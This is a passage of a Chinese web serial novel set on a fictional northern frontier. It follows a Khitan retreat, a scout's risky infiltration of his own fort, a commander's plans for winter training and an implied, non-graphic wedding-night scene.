甚至还有女真部落的人,干苦力多时,瘦骨嶙峋。
这种被彻底愚弄的感觉让他怪叫连连,如同受伤的野兽:“浑蛋,我们被耍了!他们用一群废物滥竽充数,换走了我们最肥壮的牲口。”
营帐内,其他幸存的契丹贵族和勇士们也反应过来,顿时炸开了锅。耻辱和愤怒让他们双眼赤红。
他们纷纷拔出弯刀,疯狂劈砍着帐篷里的物件,大声咆哮:
“报仇!必须报仇!”
“杀过河去!踏平那个狗屁边寨!把我们的牛羊抢回来!”
“杀了秦猛!用他的头骨做酒碗!”
群情激愤,越吼声越大,场面眼看就要失控。
勃发斤虽然暴怒,但毕竟老辣,他强压着翻腾的气血,猛地抽出腰刀,狠狠劈在支撑帐篷的主柱上,发出“咚”的一声闷响,厉声喝止。
“都给我住口!安静!”
帐内瞬间一静,所有人都看向勃发斤。
勃发斤胸膛剧烈起伏,环视众人,声音嘶哑却带着一丝冷静:“现在去?冒着风雪,强渡冰河?
你们忘了之前是怎么败的吗?周人以逸待劳,就等着我们送上门攻打。此时过去,百害无利,除了留下更多儿郎的尸体,还能得到什么?”
他深吸一口气,继续道:“这次的耻辱,我勃发斤记下了。萧酋帅也记下了,我们都记下了!
但眼下,儿郎们疲惫不堪,士气低落,天气恶劣,补给不足,不是报仇的时候!”
他转头看向脸色铁青的萧铁鹰:“萧酋帅,此地不宜久留。周人狡诈,未必不会趁势偷袭。
我们必须立刻拔营,远离河岸,回转部落!这个冬天,我们需要舔舐伤口,积蓄力量。”
萧铁鹰死死攥着拳头,指甲几乎嵌进肉里,但最终还是从牙缝里挤出一个字:“……好!”
命令传下,契丹营地顿时一片忙乱,却透着一种狼狈和仓皇。勇士们默默拆卸着帐篷,收拾着简陋的行囊,每个人的脸上都写满了不甘和挫败。
曾经不可一世的契丹铁骑,此刻,踏雪而行,却像是一群被赶出家门的丧家之犬,在越来越大的风雪中,拖拖拉拉地远离了拒马河北岸。
他们将冲天的怒火和复仇的誓言,深深埋藏在了心底,只待来年冰雪消融时,再图报复。
第228章 潜入者石地虎
北疆风雪:军寨砺剑
暴虐的北风裹挟着鹅毛大雪,将整个北方草原搅得天昏地暗。
天地间唯余一片混沌的白,以及风过雪原时发出的凄厉呼啸。
界河北岸,昔日旌旗招展、人喧马嘶的契丹大营,此刻正上演着一场仓皇的撤退。
数千兵马在风雪中艰难地拆卸着帐篷,装运着辎重,动作间透着一股难以掩饰的焦躁与颓丧。
中军大纛下,萧铁鹰面沉如水,紧握马鞭的手指因用力而泛白。
勃发斤在一旁低声催促着,眉宇间积压着浓得化不开的阴郁。
连续多日的**无功而返,严寒和挫败感如同两条毒蛇,啃噬着这支曾经骄狂大军的士气。
他们此刻只想尽快离开这片给他们带来无数麻烦和损失的土地,却浑然不觉,几双如同猎鹰般锐利的眼睛,正穿透重重雪幕,无声地注视着他们的一举一动。
最近的一双眼睛,属于石地虎。
三百多米外,一片枯树林的边缘,最高的一棵白桦树光秃秃的枝杈间,一个浑身裹着厚实白麻布的身影几乎与树冠上的积雪融为一体。
正是新投军寨不久、被秦猛委以“暗部”侦察重任的石地虎。
刺骨的寒风将他暴露在外的鼻头冻得通红发紫,他却浑然不觉,一双精光内敛的眸子,死死盯着远处那如同溃巢蚁群般蠕动的敌军大队。
自从投靠秦猛后,被分配到这专司窥探的“暗部”,石地虎便觉得如鱼得水,此次是自告奋勇。
他仗着身材矮瘦轻盈,腿上功夫了得,选择了这最危险的树梢瞭望点,比那些蜷缩在雪壳子里的同伴看得更远、更清。
他看得分明,这支敌军虽败退,但骨干犹在,兵力绝对在四千以上,随行的马匹、牛羊更是黑压压一片。
这正是秦猛即便心有不甘,也只能暂且按兵不动的根源——敌我实力悬殊,凭寨坚守方是上策。
终于,契丹大军彻底拔营,如同一条受伤的黑色巨**,蠕动着,缓缓消失在北方更加深邃的风雪迷雾里。
留下的,只有一片被践踏得狼藉不堪的营地废墟,以及无数凌乱、预示着仓皇的脚印车辙。
呼啸的寒风立刻卷着新的雪沫,开始无情地掩埋这些痕迹。
要不了多久,这里便会恢复成一片看似纯净无瑕的雪原。
石地虎又静静观察了约莫一炷香的时间,直到最后一缕人影也消失在视野尽头,确认敌军是真退而非诡计。
他这才轻轻活动了一下几乎冻僵的四肢,那苦练多年的轻身功夫悄然施展,身形如一片没有重量的枯叶,从十几米高的树顶翩然滑落。
更奇的是,他脚尖将触及雪地,身形便如受惊的蚂蚱般再次轻弹,倏忽间已窜出五六米远。
落在雪地上时,只留下一个浅得几乎难以察觉的脚印,果真配得上“踏雪无痕”的夸口。
他蹲下身,机警地四下扫视,随即缩嘴撮唇,发出几声“呼噜噜”,惟妙惟肖的松鸡啼鸣。
这是“暗部”约定的信号,意为“目标已动,我返禀报,尔等继续监视”。
声音在风雪的嘈杂中传不出太远,但足以让潜伏在附近的同伴知晓。
信号发出,石地虎不再迟疑,身形一展,便如一道贴地飞掠的轻烟,沿着来时踏勘好的路径,向着界河南岸疾驰而去。
夜色已然浓重如墨,风雪更疾。
但这对于常年与古墓、黑夜打交道的石地虎而言,反倒增添了几分熟悉。
他在及膝深的雪原上飞奔,每一步踏出,身形便矫健地窜出数米,速度惊人,脚下却异乎寻常的安静,留下的浅痕迅速被新雪覆盖。
很快,冰封的界河横亘眼前。
踏足南岸,按军规,他该先去前沿军营报到,领取腰牌,通行口号,此举是避免被人误伤。
但石地虎的脚步却顿住了。
黑夜里,他那双惯能夜视的眼睛滴溜溜一转,心里活络开来。
入军寨这些时日,他靠着脸皮厚、嘴巴甜,已将寨内情形摸了个大概。
深知此地虽新立,却是藏龙卧虎。
勇悍如张富贵、王铁山,沉稳如秦大壮、李山,善谋如常勇,亲卫队还有王善,**,牛五三大滚刀肉,鲁和尚、林怒这等猛人……
自己新来乍到,若无一桩亮眼的功劳,如何能站稳脚跟,秦大人提拔不假,如何让众人心服?
石地虎也是江湖上有名号的人物,这脸面可不能丢。
“嘿嘿,”他低声自语,嘴角扯起一抹狡黠的弧度,“都说这军寨被秦大人经营得铁桶一般,飞鸟难入。
俺石某人今日偏要试试,若能神不知鬼不觉直抵中军,面禀军情,这份能耐,谁还敢小觑?”
念头既起,便如野草疯长。
他迅速将身上雪白的伪装服脱下,反穿过来,内里竟是深灰近黑的颜色,正合夜行潜入。
又就地在雪泥混杂处打了几个滚,让衣物沾满雪泥,进一步掩盖气味。
准备停当,他辨明方向,绕开哨所可能监视的区域,借着地形掩护,如鬼魅般
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向着灯火闪烁的军寨潜去。
越是靠近军寨,石地虎越发小心。
三丈高的夯土寨墙在风雪中巍然矗立,墙头上火把的光晕在雪幕中显得有些朦胧。
墙外壕沟、拒马一应俱全。
巡逻队的身影在墙头规律地移动。
石地虎屏息凝神,如一只真正的灵猫,绕至寨墙靠近山壁的一处阴影下。
这里地势稍高,且是下风口,巡逻的间隙似乎稍长。
瞅准一个空档,他脚下发力,身形如电射出,掠过壕沟,贴近冰凉的墙根。
石地虎借助冲劲,施展出看家的壁虎游墙功,手足并用,指尖脚尖寻找着砖石间细微的凸起和缝隙,身子紧贴墙面,灵巧而迅捷地向上攀去。
不过片刻功夫,他已翻上墙头,伏在雉堞的阴影里,小心观察。
墙内不远处,几条用铁链拴着的獒犬正趴伏在窝旁,鼻翼翕动。若是常人,只怕早已被嗅出。
但石地虎先前在泥雪中打滚,极大掩盖了生人气息,加之风雪搅扰,猛犬只是不安地动了动耳朵,并未狂吠。
石地虎心中稍定,看准墙内一处堆放草料的角落,轻飘飘落下,点尘不惊。
真正的挑战才刚刚开始。
寨内巡逻队往来更频,明哨暗卡遍布,且多处牵犬巡视。
石地虎将隐匿潜行的功夫发挥到极致,时而贴墙疾走,利用房屋的阴影;时而窜上低矮的屋顶,居高临下;时而匍匐穿越开阔地带。
他对时机的把握妙到毫巅,总能在巡逻队视野交错的刹那险险地穿过。
风雪声、夜色成了他最好的掩护。
他就这样一点点、一步步,艰难却稳定地向着那处灯火最亮、守卫最严的核心官署靠近。
眼看官署所在的街道就在前方,甚至能隐约听到里面传来的话语声。
石地虎从一处伙房矮屋顶滑下,落在街边一堆冻硬的柴薪之后,心中不免泛起一丝得意。
“嘿嘿,任你龙潭虎穴,俺石某人还不是来去自……”
然而,他这得意的嘀咕还未说完,异变陡生!
一条高大魁梧的黑影,如同黑暗中的猎豹,从旁侧一条狭窄的巷道里,突兀地窜出来!
其势疾如闪电,力沉千钧!
石地虎虽惊觉身后恶风不善,但来人的速度与力量远超他预料!
他赖以成名的敏捷尚未施展,便被对方一记简单凶狠的擒拿,死死摁倒在地,半边脸颊都砸进了冰冷刺骨的雪泥里!
“好个贼厮鸟!敢摸到这里来!”
第229章 暗哨擒‘贼\’,秦猛励兵
“哼,贼厮,还想跑?”石地虎被按住,剧烈挣扎。压在他身上的正是首次轮值暗哨的林怒。
他投军后,被编入骑兵队,破格提拔为队将。今日刚被安排在这要害位置,本以为军寨谁人潜入?是个闲差,却没想真逮到一条“大鱼”。
林怒不认识石地虎,只道是契丹派来的**或细作,眼中杀机迸现,一手铁钳般扣住石地虎的双手关节,另一只手已掣出腰间短刀。
刀锋映雪,带着一股寒气,便朝其后背狠狠扎下!
这一下若是扎实,石地虎立时便非死即重伤!
“啊,自己人!兄弟饶命!”
石地虎亡魂大冒,扯着嗓子发出凄厉的尖嚎。
“通行令。”林怒皱眉,喝问道。
“呃……”石地虎傻眼了,挣扎都顿了顿。直到此刻,他才意识到要去前寨军营报备的必要性。
可怜的石地虎踏雪无痕,蹿高蹦矮,奈何气力不济,此刻被林怒这等猛将压制,竟是丝毫动弹不得,只能感受到背后那彻骨的杀意。
“自己人,真是自己人呐!”
“俺是军寨质数暗部石地虎,有军情禀报秦大人!”
官署内,炭火正旺,秦猛与诸葛风、秦大壮、李山、鲁真等人正围图商议,此次缴获的马匹牛羊如何分配使用,以最大限度提升军寨战力。
突然听得外面传来杀猪般的叫嚷和“自己人”的呼喊。
秦猛眉头一皱,只觉声音耳熟,身形一动,已如疾风般掠至门外,恰好看到林怒举刀欲刺的一幕。
“林怒,住手!”
秦猛声若洪钟,及时喝止。
泛着寒光的刀锋距石地虎后心只有半尺之遥。可怜的小伙瘫软在雪地里,额头满是冷汗。
一场误会就此化解。
官署内,炭盆驱散了冬夜的严寒,也映照着众人神色各异的脸。
听完林怒愤愤不平的禀报和石地虎惊魂未定、讪讪不已的解释。
帐内先是片刻寂静,随即响起几声压抑不住的轻笑。
诸葛风用账册虚点了点石地虎:“你这石猴子,真是吃饱了撑的……险些把性命玩掉!”
秦猛瞪了石地虎一眼,却并未深责,反而令亲兵给他倒了碗热茶:“说说吧,冒险回来,有何军情?”
石地虎连忙放下茶碗,敛容正色,朝众人抱拳环施一礼,这才对秦猛道:“大人,河对岸的契丹兵,跑了!连夜拔营,往北边遁去了!”
他随即便将自己潜伏树梢所见,详详细细道来。
——敌军如何拆卸帐篷、装运物资,主将萧铁鹰、勃发斤等人脸上那压抑的怒意与不甘,士卒在风雪中步履蹒跚、士气低落的狼狈景象……
他口齿伶俐,加之观察入微,将敌军仓皇北遁的场景描绘得活灵活现。
消息确认后,诸葛风、秦大壮、李山等人,不约而同地长长舒出了一口积压胸中已久的浊气。
自从入冬敌骑压境,这根紧绷的心弦,直到此刻,听到**连夜退兵,才算真正松弛下来。
压在军寨头顶的最大阴云,终于散了。
唯独秦猛,脸上在掠过一丝轻松后,却又浮现出浓浓的惋惜之色,最终化为一声轻叹:“哎……他们溜得够快,可惜,可惜,又错过了良机。”
诸葛风敏锐捕捉到主帅的遗憾,试探地问道:“大人,何以见得?”
秦猛目光扫过在场诸将,沉声道:“我军寨新立,实力尚弱,又连番作战,只能采取守势。
然观此次契丹军自进至退,其间至少有三次战机,若我军兵精粮足,未必不能予其重创。”
“请大人指教。”常勇,鲁真几乎同时,抱拳说道。
秦猛环视众人,屈指数道:“其一,勃发斤初来,顶着风雪赶路,人马疲敝,立足未稳之际,若有一支精兵趁夜劫营,可乱其阵脚。”
“其二,交换俘虏之时,彼军注意力皆在交换过程,阵型难免松懈,若预设伏兵,半途击之,可获小胜。”
“其三,便是眼下,敌军久攻不克,士气已堕,又逢天寒地冻,自认连夜撤退,军心必懈。队列冗长,首尾难以相顾。此时,适合突袭。”
鲁真摸了摸大光头,出声道:“大人,**那劳什子酋帅萧铁鹰,勃发斤绝非泛泛之辈,连叶行军,必定有所防范甚至有队伍专职断后。”
秦猛笃定地说道:“袭击前采用疑兵之计,一支可战之兵,正面牵扯迟滞其后卫。另遣一支精锐,自远途隐秘渡河,迂回至其侧后,突然发起猛攻。如此前后夹击,敌军必溃!”
“咱们有**,竹筒雷,能够让他们心惊胆颤,马匹疯狂撞击,在这种情况下,焉能不胜?”
他顿了顿,声音带着几分不甘:“奈何将士疲惫,**不傻,知道咱援军来了,连夜撤退。可惜,可惜啊……实力不济,徒呼奈何!”
帐内,一时陷入沉默。
诸葛风捻须沉思,秦大壮、李山等将领眼神闪烁,显然在脑海中推演秦猛所描述的战术。
尤其是李山和常勇,眼中爆出精光,甚至流露出兴奋,随即又迅速黯淡,化为无奈的摇头。
再妙的战术,若无足够的兵力装备执行,也只是镜花水月。
“好了。”秦猛挥了挥手,似要挥去这无益的遗憾,脸上重新露出惯有的坚毅与豁达之色。
“往者不可谏!今年入冬,我等能守住军寨,保全百姓,又获得成群牛羊马匹,已是大功一件。
更何况,此番有所缴获,帅司和赵将军又拨来了兵员民壮,正是我军积蓄力量、以待天时的根基!”
他目光扫过众人,语气变得沉稳而有力:“当务之急,是诸
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位将这些新来之人妥善安置,严加操练,磨砺其意志,教授其战阵之道。
务必借此冬季,敌军无力南顾之机,将这军寨打造成铁壁,将麾下儿郎练成一支敢战、能战的精兵!”
他声音陡然提高:“打铁还需自身硬,唯有靠自己,方能无惧风浪,方能把握住未来出现的每一个战机。
诸位,即便年关将近,可于我辈而言,非是休憩,而是砺剑之时!担子沉重,需上下用命!”
“得令!”
帐内诸将闻言,精神皆是一振,齐齐起身,抱拳应诺。
……
就是诸葛风,秦大壮等人相继告辞。
帐帘最后一丝缝隙合拢,将外面的寒风与喧嚣彻底隔绝。
帐内顿时只剩下秦猛与石地虎二人。
秦猛脸上淡笑容收敛,转而面沉如水,目光如两道冰锥般刺向被叫住,垂手站立的石地虎。
“你这厮,今日好生冒失!”
“若非林怒兄弟手下留情,你这条小命焉能留下?”
“边塞重地,岂同儿戏!巡逻队,明岗暗哨,通行口号一日三变,各有区分。往后若再这般莽撞,休怪军法无情!”
“是是是……大人教训的是!小的知错了,再也不敢了!”石地虎被骂的缩着脖子,连声应承。
他心头却无半分委屈,反而涌起一股难言的暖流。这等毫不客气的斥责,反倒比客套的关怀更显亲近,是真正将他当作自己人看待。
“你的本事,我清楚。是块材料,但需打磨。”秦猛语气稍缓,但依旧严肃,“既在暗部学习,便要好生用功。
同时,可暗中留意,将你旧日那些关系过硬、人品可靠、身怀绝技的同行、能人,悄悄**起来。”
石地虎闻言,眼睛一亮,猛地抬起头。
秦猛盯着他,继续道:“届时,当组建一支专司侦察、传递、奇袭队,号‘飞天’,此队,便由你石地虎来做这个队长。你可能办到?”
“能,一定能!小的必定办得妥帖,不负大人重托!”石地虎胸脯一挺,声音因激动而有些发颤。
“记住首要一条,人品关必须把死!宁缺毋滥,我要的是能托付生死的兄弟,而非乌合之众。”
“得令!大人放心,俺一定挑那些本事硬、骨头硬、讲义气的好汉,绝不让半颗老鼠屎坏了一锅汤,也绝不能给俺……更不能给大人您丢脸!”
“好!”秦猛颔首,“飞天队编制,暂定员额百人,直属我麾下,首要职责是侦察敌情,听我直接号令。一应事宜,我会派**与你对接。”
他示意石地虎近前坐下,开始详细交代:“人员需精中选精,不仅要教他们如何侦察、收集、传递情报,更要训练搏杀,在必要时,能如尖刀般深入敌后,或执行雷霆一击……”
……
第230章 深夜,婚床摇曳声
深夜时分,秦猛顶着风雪回到官署后院。雪花如絮,扑打在他冰冷的铁甲上,发出沙沙的轻响。
正房里屋那盏暖黄的灯火,在这凛冽的寒夜里,成了他最温暖的归处。
新婚日挂的红色绸缎和‘囍’字窗花依旧鲜艳,在红灯笼的映照下,跳跃着喜庆的光晕。
陈月娘就着红烛的光亮,正专注地看着医书,听到门轴转动的声响,她抬头见是秦猛归来,脸上瞬间绽放出喜色:“官人,你回来了?”
她连忙放下书本,快步迎上来,取过鸡毛掸子,细致地为秦猛扫去头上、肩上的积雪,
随后,女人又踮脚为秦猛解开沾着雪水的大氅,动作娴熟地卸下铁甲,按头盔、护心镜、臂甲、腿甲的顺序分门别类挂在兵器架上!
秦猛看着为自己忙碌的窈窕身影,心中暖流涌动。
他活动了一下冻得有些发僵的手脚,便从身后轻轻搂住了陈月娘的纤腰,温热的呼吸故意拂过她敏感的耳畔:“娘子,为何还不睡?”
“猛子哥,你别闹……”
陈月娘俏脸霎时变得通红,宛如晚霞浸染,身子微微一软,下意识地用手握住了秦猛那**始不安分游走的大手,声如蚊蚋地呢喃。
“怕个啥?咱们已经拜堂成亲,你是我的妻子,这夜深人静……”秦猛低笑一声,存心逗弄,轻轻舔了一下她圆润的耳坠,满脸都是坏笑。
他只觉得怀中女人身子一颤,几乎完全倒在了自己怀里。
真是敏感的女人。秦猛心里嘀咕着,一股冲动涌上,不再多言,直接弯腰,将‘哎呀’轻呼声中的陈月娘拦腰抱起,大步走向里间的床榻。
“官人,烛火……”陈月娘浑身无力,将滚烫的脸颊埋在男人坚实的胸膛前,害羞地小声提醒。
秦猛转头,噗地吹熄了桌上的红烛。
屋内顿时陷入一片黑暗,只有窗外雪地的反光透进些许朦胧。
很快,黑暗中响起了窸窸窣窣的衣物摩擦声。
紧接着,便是木床有节奏的、压抑的咯吱声,夹杂着女子断断续续、似泣似吟的咿呀声。
而在仅一墙之隔的厢房内。
林婉儿洗漱完毕,已经躺在床榻上,就在她意识模糊之际,隔壁隐隐约约的动静传了过来。
她起初并未在意,翻了个身。
但那声音持续不断,先是木床不堪重负的嘎吱声,随后是女子似痛苦又似欢愉的咿咿哑哑声……
她睡意渐无,觉得女人声音熟悉,疑惑地竖起耳朵!
直到清晰分辨出那一声高过一声的“啊啊”叫声,竟是平日里温婉端庄的陈月娘所发出时,林婉儿的脸颊“唰”地一下红透了,一直蔓延到耳根。
她从小出生在官宦之家,受过严格的闺阁教育,虽然没有出阁,但却也懵懂地知道些男女之事。
此刻亲耳听闻,只觉得面红耳赤,心跳如鼓。
女孩慌忙用锦被蒙住头,试图隔绝那恼人的声响。
可越是不想听,那声音却仿佛钻入了骨髓,越发清晰可辨。
最可恨的是,那动静持续了许久!
足足大半个时辰,就在林婉儿以为终于结束,可以松口气时,没过多久,木床的摇曳声和女人带着些沙哑的婉转呻吟竟…竟再次响起……
“医书上不是说……顶多两刻钟……为何……为何这么久还没停?”林婉儿用被子紧紧捂住耳朵,蜷缩成一团,觉得书上内容越发不可信。
突然间,林婉儿脑海中却不自觉地浮现出秦猛那高大健硕的身影和陈月娘在他怀中承欢的模样,只觉得异样的情绪升起,浑身燥热难安。
她红着脸,见侍女睡得香甜不受影响,推都推不醒。林婉儿愈发抓狂,在心里胡乱嘟囔着。
这一夜,林婉儿辗转反侧难眠。
不知过了多久,隔壁彻底安静下来,她才疲惫地打着哈欠,在极度的困倦中,迷迷糊糊地睡去……
剧情排版
第一段
次日清晨,天色大亮,风雪却更大了。
秦猛神清气爽地踏出房门,深深吸了一口凛冽而清新的空气,只见亲兵们早已在外庭清扫积雪。
他活动了一番拳脚,骨节发出轻微的噼啪声,随后信步走向伙房。
伙夫早已备好热腾腾的早饭,秦猛风卷残云般吃饱喝足,又特意用食盒装了一屉肉包和一小罐温热的米粥,细心盖好,这才转身返回后院。
“月娘,早饭放在桌上了,趁热吃,我先去巡寨。”
秦猛走到里屋门前,轻轻叩了叩,声音不自觉放得轻柔。
屋内传来陈月娘带着几分慵懒的回应,似乎尚未完全清醒。
秦猛嘴角不由泛起一丝宠溺的笑意,在**等亲兵的协助下,利落地披挂上沉重的甲胄,金属叶片碰撞,发出清脆而有节奏的声响。
当他整理好衣甲,走到堂屋时,恰巧见对面房门“咯吱”一声轻响。
只见林婉儿揉着惺忪睡眼,打着哈欠走了出来,少女发髻略显蓬松,带着几分晨起的懵懂。
她一眼见到甲胄在身、英气逼人的秦猛,先是愣了一下,随即仿佛想起什么,俏脸“唰”地一下红透,如染上了最艳的胭脂,连耳根都未能幸免。
她慌忙低下头,声如蚊蚋地匆匆说了句“秦大哥……”,便像受惊的小鹿般,转身又退回了房内。
林婉儿眼疾手快,还将欲探出头来想看个究竟的侍女小蛮也
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给拽了回去,迅速掩上了房门。
“婉儿,呃…”秦猛刚抬起手,想打个招呼,见到这突如其来的一幕,有些错愕地僵在原地。
他略一思索,以为是小姑娘家刚起床不甚雅观的模样被自己撞见,因而害羞,便也不以为意,朝着她房间的方向提高了声音道:
“婉儿,我带了包子和米粥回来,还热着,你们等下出来吃。”
说完,他侧耳听了听,屋内并无回应,只传来窪窣的动静。
秦猛也不再多言,转身率领亲兵队伍离开了正屋。
院外,二十余名精锐亲兵已牵着战马,列队等候多时。
见秦猛出来,一名亲兵立刻小跑上前,恭敬地递上缰绳。秦猛扶住马鞍,利落地翻身上马。
“走!”
他轻喝一声,一夹马腹,便带着队伍从官署后门悄然而出,马蹄踏在积雪上,发出嘎吱声响。
门背后,林婉儿背靠着冰凉的门板,一只手按在依旧怦怦直跳的胸口,努力平复着呼吸。
脑海中不受控制地浮现出昨夜**到的些许模糊动静,以及方才秦猛那挺拔的身影和柔声关切,脸上刚褪下些许的热度又涌了上来。
“小蛮,”她低声问身边的丫鬟,“秦大哥走了没有?”
“走了走了,小姐,马蹄声都远啦。”
小蛮应着,好奇地打量着自家小姐异常红润的脸颊,“小姐,您是怎么了?从早上起来就怪怪的。”
“没…没什么,许是昨晚没睡好。”
林婉儿支吾着,不敢多说,连忙做了几个深呼吸,试图用冰冷的空气驱散心中的杂念。
待心情稍定,她才整理了一下微乱的衣襟和发鬓,故作镇定地开门走了出去。
稍后,秦小芸和王艳也相继开门出来。
而初为人妇的陈月娘梳洗打扮完毕,姗姗而来。
只见她乌发梳得一丝不苟,肌肤白里透红,眼波流转间自带一股难以言喻的风情与滋润,眉梢眼角都含着几分春意与满足,整个人容光焕发,与平日温婉模样相比,更添几分娇艳。
这迥异的神采,直把林婉儿、秦小芸等女都看得微微一呆。
“哇,姐,你今天气色真好!”秦小芸和王艳心直口快,立刻围了上去,叽叽喳喳地打量询问起来。
“是用了什么特别的胭脂水粉吗?快告诉我们!”
她们天真无邪的问话,却是让知晓内情的陈月娘和林婉儿同时飞红了脸颊。
陈月娘是羞中带喜,林婉儿则是羞中带窘。
若是秦猛此刻在场,见到妻子这般被众人夸赞的娇媚模样,定要双手叉腰,得意洋洋地说一分耕耘一分收获,宣称这都是他的“功劳”。
第231章 李明来投,冬训初始
另一边,秦猛虽值新婚燕尔,但他却没有沉醉于温柔乡中,丝毫未曾懈怠,反而更加谨慎。
尽管大周素有“新婚夫妇,夫旬日,妇月内不逾阈。”意思是丈夫十天,新娘子门槛都尽量不出。
可这是边陲军寨,一切从简,以守土之责为最。
秦猛如往常一般,先是细致地巡视了各处寨防,检查哨卡、箭楼是否稳固,询问守夜士卒情况,后又前往校场点检军务,观看士卒操练。
就在他巡至附寨门附近时,远远便看见三十多个精壮汉子,如同钉桩般伫立在风雪中等候。
那为首是个件虬髯大汉,身材魁梧如铁塔般,正是李明,站在那里便自然生出一股剽悍之气。周围的风雪似乎都因其凛然气势而避让三分。
见到秦猛一行人马冒雪走来,李明虎目一亮,立刻挥手,带着身后众人快步上前,旋即“扑通”一声,齐刷刷的单膝跪倒在冰冷的雪地里,动作整齐划一,显示出良好的纪律性。
“秦知寨!俺李明想好了,带手下这帮兄弟,特来投奔!”李明声如洪钟,在空旷的雪地里回荡。且带着些许江湖人的直爽与军人的坚毅。
这位贩卖过私盐的汉子想过很多,见到海宁村村民迅速安顿下来,也在军寨了解过许多事儿。
如军寨接纳各地流民,给他们饭吃,给他们衣服穿。
再如这位秦知寨凶悍,曾一刀斩杀朝廷命官。短短一两个月的时间,连战连捷,打得打得节节败退,斩首甚多,交换俘虏更是得牛羊无数。
这种铁血、勇猛的边塞将领,值得他李明追随。只为了能够杀**,能够护佑一方百姓。
李明腰板顶的笔直,向秦猛一拱手,铿锵表态:“俺们没啥大本事,就是有把子力气,求知寨收留!俺们愿追随知寨,刀山火海,绝无二话!”
秦猛见状,立刻翻身下马,大步流星地走上前,双手稳稳地将李明搀扶起来,目光扫过他身后那群眼神炽热、一看便知是经历过厮杀的汉子。
“李明兄弟请起,诸位兄弟请起!你们来投奔,我秦猛求之不得,欢迎各位好汉加入边军!”
他心中喜悦,军寨卫戍营初建,正是用人之际。而且李明骁勇善战,其手下也皆非庸碌之辈。
尤其是人群中一对相貌酷似、身材同样魁梧惊人的孪生兄弟,各自扛着一柄沉甸甸的狼牙棒,想必就是李明麾下以勇力著称的李威和李猛,皆是气力过人,能冲锋陷阵的悍卒。
秦猛当即朗声道:“李明,我知你和你这帮兄弟惯走江湖。从现在起,便任命你为队将!
你和你手下这些弟兄,暂且先编入我的亲兵队,由阮氏三兄弟带着,尽快熟悉军中号令、规矩,并随队伍,勤加练习格斗,厮杀之术!”
他拍了拍李明的肩膀,继续道:“待得来年开春,冰雪消融,我便有意筹建水军,控制这段拒马河,届时,正是你等大展拳脚之时!”
李明等人闻言,脸上顿时涌现出激动与感激之色。他们就是出生在海边村坊,最擅长水性。
当即,李明再次抱拳行礼,声震四野:“谢知寨提拔!属下等必当竭尽全力,万死不辞!”
“好,水军至关重要,你们先去登记,领取甲胄,等有时间,咱们再聊。”秦猛拍拍汉子的肩膀,又让亲兵带他们回官署,编成新的小队。
送走李明一行后,秦猛立刻将精力投回军寨事务。他先是巡视了依附着主寨扩建的附寨区域。
如今的新兵营已彻底成型,成为军寨中规模最大的营区,足可容纳三千人马。
偌大的校场上,此刻人声鼎沸,划分为三大区域:
一侧是近期从流民中招募的数百新兵,处在吃饱养身体阶段,正进行着最基础的队列操练。
另一侧是五百余人的编外队伍,他们是各家族挑选的壮硕汉子,训练内容已加入兵器格斗。
而最引人注目的,是校场中央那片黑压压的人群。
——这便是帅司刚从幽州帅司调拨来的五百新兵、数百青壮,总数逾千。这些**多身体强健,精神面貌远非面黄肌瘦的流民可比。
尤其是新兵,经过简单操练。
这批人入军寨后,已根据特长、身高做了初步划分,标记为步兵、骑兵等不同兵种的苗子。
然而,面对这支难得的“生力军”,秦猛心中却无多少喜悦,反而存着深深的警惕。
这些人来自幽州,与帅司及幽州官场有着千丝万缕的联系,他无法确保其中没有掺杂进来的“眼睛”和“耳朵”。
因此,这批人目前仅处于观察和基础队列训练阶段,真正的编组分队、战技操练尚未开始。
此事秦猛已与老成持重的保长王槐、心思缜密的诸葛风私下商议过。
为甄别可能的奸细,他们定下了方略:一方面,由王槐、诸葛风等人轮流出面,隔三岔五便对这批兵员进行“思想疏导”,看似闲聊,实则潜移默化地抖露幽州官僚体系的**丑恶。
另一方面,根据实际情况,晓之以理,动之以情,把界河畔边民长年被骚扰的事说出来,凸显出草原*
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*凶残,树立起民族大义的信念。
最后则大力宣扬军寨“有功必赏、善战者升职、分田分地”的规矩,用切实的利益和边塞生存的危机感,逐步瓦解他们可能存在的旧有忠诚,将他们捆绑,培养对军寨的归属感。
“姜还是老的辣呀,我有保长,定可消除隐患。”秦猛看到老保长王槐的身影,脸上笑意渐浓。
各家族商贾送来的青壮,护卫,已有不少转入军籍,还有部分人愿意把家眷迁到边寨落户。
他从附寨特意开辟的一处小门而出,带领亲兵队,踏着积雪,直奔两三里外的一处山坳。
这里是他身体原主记忆里常来拾柴的地方,已然脱离了主寨周边的林带范围。地势得天独厚,四面环山,中间是一片宽阔平坦的盆地。
如今,这片盆地已不复往日荒凉,依托山势建起了前后两座关隘,有一队兵卒日夜守卫。
关隘附近,两个可容纳千人的临时营地耸立。海宁村村民、帅司拨付新兵的家眷被安置于此。
与食不果腹的流民不同,这些百姓自有行李家当,安顿起来更为省事。军寨主要提供粮食、御寒的衣物,并采用“以工代赈”的方式,组织青壮清扫积雪、修建屋舍、参与训练。
负责此地防务和管理的常勇、阮二见秦猛到来,立刻上前汇报。秦猛仔细查看了民众的安置情况,见虽简陋却井然有序,心下稍安。
他又督导驻扎在此地的新兵队伍操练,勉励了几句。
返回主寨时,他特意绕道军医局,看望了此前战斗中负伤的弟兄,叮嘱医官护工好生照料。
处理完这些繁杂事务,秦猛才回到自己的官署。
他雷打不动地开始了自身的武艺锤炼,随后又亲自调教亲兵队、暗部队伍的搏杀技巧。
吃过晚饭,他还在烛火下,教授诸葛风,李恒等亲信简单的算术和阿拉伯数字记录方法。
更手把手地传授陈麻子和石地虎??暗部队伍传授侦察、潜伏与搜集情报,追踪的技巧要点。
时光便在这忙碌中飞逝,一转眼,两天过去。
腊月二十三,小年已至,年关的脚步愈发近了,空气中似乎也隐约多了一丝节庆的气息。
但军寨上下,依旧笼罩在紧张而有序的备战氛围之中。
边塞之地,寒风越发凛冽。
但今天,腊月二十三,是民间的小年。除了必要的巡逻和警戒,寨民们开始三三两两前往附寨预留街道临时搭建的集市,采买年货。
没错,边陲戍堡也有这临时集市!
第232章 雪边繁市闹,远骑带风来
这种临时集市是边陲独有的景象。
也是中秋佳节,年关将近等重大节日才会开办。为了方便不能远离边堡的军民而兴起来的。
这是由燕北郡官府牵头组织,挑选大小商队和个体商贩,运送着粮食、棉花棉衣、海干货等各种紧缺物资,常见年货抵达各个边陲戍堡。
而边堡军民、附近村堡的民众也会把自家寻到的各种草药和山货,土特产等,卖给商队,或是选个地方摆摊,大声叫卖,换钱补贴家用。
这种临时集市,一般持续三到五日。
